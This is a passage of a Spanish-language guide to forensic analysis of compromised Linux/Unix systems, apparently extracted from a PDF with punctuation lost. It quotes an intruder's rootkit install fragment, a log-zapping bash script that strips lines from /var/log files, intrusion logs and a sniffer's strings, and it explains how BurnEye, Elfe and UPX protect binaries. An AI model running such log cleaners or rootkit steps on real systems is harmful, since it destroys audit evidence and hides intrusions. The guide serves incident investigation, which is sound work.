cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 33: Análisis Forense de Sistemas GNU/Linux, Unix

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

